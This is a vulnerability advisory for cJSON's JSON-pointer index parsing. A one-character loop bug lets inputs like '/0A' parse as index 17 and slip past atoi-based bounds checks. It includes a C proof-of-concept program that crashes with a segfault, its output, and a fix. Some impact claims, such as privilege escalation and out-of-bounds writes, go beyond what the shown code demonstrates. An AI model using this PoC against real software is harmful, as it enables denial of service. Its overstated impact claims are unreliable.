Summary

A critical vulnerability exists in the cJSON library (cJSON_Utils.c, function decode_array_index_from_pointer) that allows attackers to bypass array bounds checks, potentially causing out-of-bounds memory access, segmentation faults, privilege escalation and denial of service, by exploiting improper input validation in JSON pointer parsing.


Vulnerability Details

  • Component: cJSON (cJSON_Utils.c)
  • Type: Array Index Parsing / Input Validation Bypass
  • Impact: Out-of-bounds memory access, segmentation fault, denial of service

The vulnerable code:

for (position = 0; (pointer[position] >= '0') && (pointer[0] <= '9'); position++)  
{  
    parsed_index = (10 * parsed_index) + (size_t)(pointer[position] - '0');  
}  

The loop incorrectly checks pointer[0] instead of pointer[position], allowing non-digit characters to be processed as part of the array index. For example, input "0A" is parsed as index 17 (0*10 + ('A'-'0') = 17), which is out of bounds for a 3-element array.


Exploitation

An attacker can craft JSON pointers with malformed indices (e.g., /0A) to trigger out-of-bounds array access. This may result in reading or writing outside the intended memory region, potentially causing segmentation faults (crashes) or denial of service. Application-level checks using standard integer parsing (e.g., atoi) can be bypassed, as cJSON will interpret the malformed index differently.

Proof of Concept

The following minimal C program demonstrates how a malformed index can cause cJSON to access out-of-bounds memory and potentially segfault:

#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include "cJSON.h"  
#include "cJSON_Utils.h"  

const char *users_json =  
    "["  
    "  {\"name\": \"Alice\", \"age\": 30, \"email\": \"alice@example.com\"},"  
    "  {\"name\": \"Bob\", \"age\": 25, \"email\": \"bob@example.com\"},"  
    "  {\"name\": \"Charlie\", \"age\": 28, \"email\": \"charlie@example.com\"}"  
    "]";  

void print_user(const cJSON *user) {  
    cJSON *name = cJSON_GetObjectItem(user, "name");  
    cJSON *age = cJSON_GetObjectItem(user, "age");  
    cJSON *email = cJSON_GetObjectItem(user, "email");  
    printf("Name: %s\n", name->valuestring);  
    printf("Age: %d\n", age->valueint);  
    printf("Email: %s\n", email->valuestring);  
}  

int main() {  
    cJSON *users = cJSON_Parse(users_json);  
    if (!users) {  
        printf("Failed to parse users database.\n");  
        return 1;  
    }  

    const char *test_indices[] = {"0", "1", "0A"};  
    int user_count = cJSON_GetArraySize(users);  
    for (int i = 0; i < 3; ++i) {  
        char pointer[32];  
        int idx = atoi(test_indices[i]);  
        snprintf(pointer, sizeof(pointer), "/%s", test_indices[i]);  
        printf("\nTrying index: %s\n", test_indices[i]);  
        if (idx >= 0 && idx < user_count) {  
            cJSON *user = cJSONUtils_GetPointer(users, pointer);  
            print_user(user);  
        } else {  
            printf("Invalid or out-of-range index.\n");  
        }  
    }  

    cJSON_Delete(users);  
    return 0;  
}  

Supplying the index 0A will cause cJSON to access index 17, which is out of bounds and may result in a segmentation fault (crash).

Output

Trying index: 0  
Name: Alice  
Age: 30  
Email: alice@example.com  

Trying index: 1  
Name: Bob  
Age: 25  
Email: bob@example.com  

Trying index: 0A  
zsh: segmentation fault (core dumped)  

Affected Use Cases

Any software using cJSON for JSON pointer parsing, including web APIs, embedded/IoT devices, and desktop/server applications. Especially critical in environments where malformed input can be supplied to JSON pointer APIs, as this can be exploited for denial of service.


Remediation

Fix:
Change the loop condition to:

for (position = 0; (pointer[position] >= '0') && (pointer[position] <= '9'); position++)  

References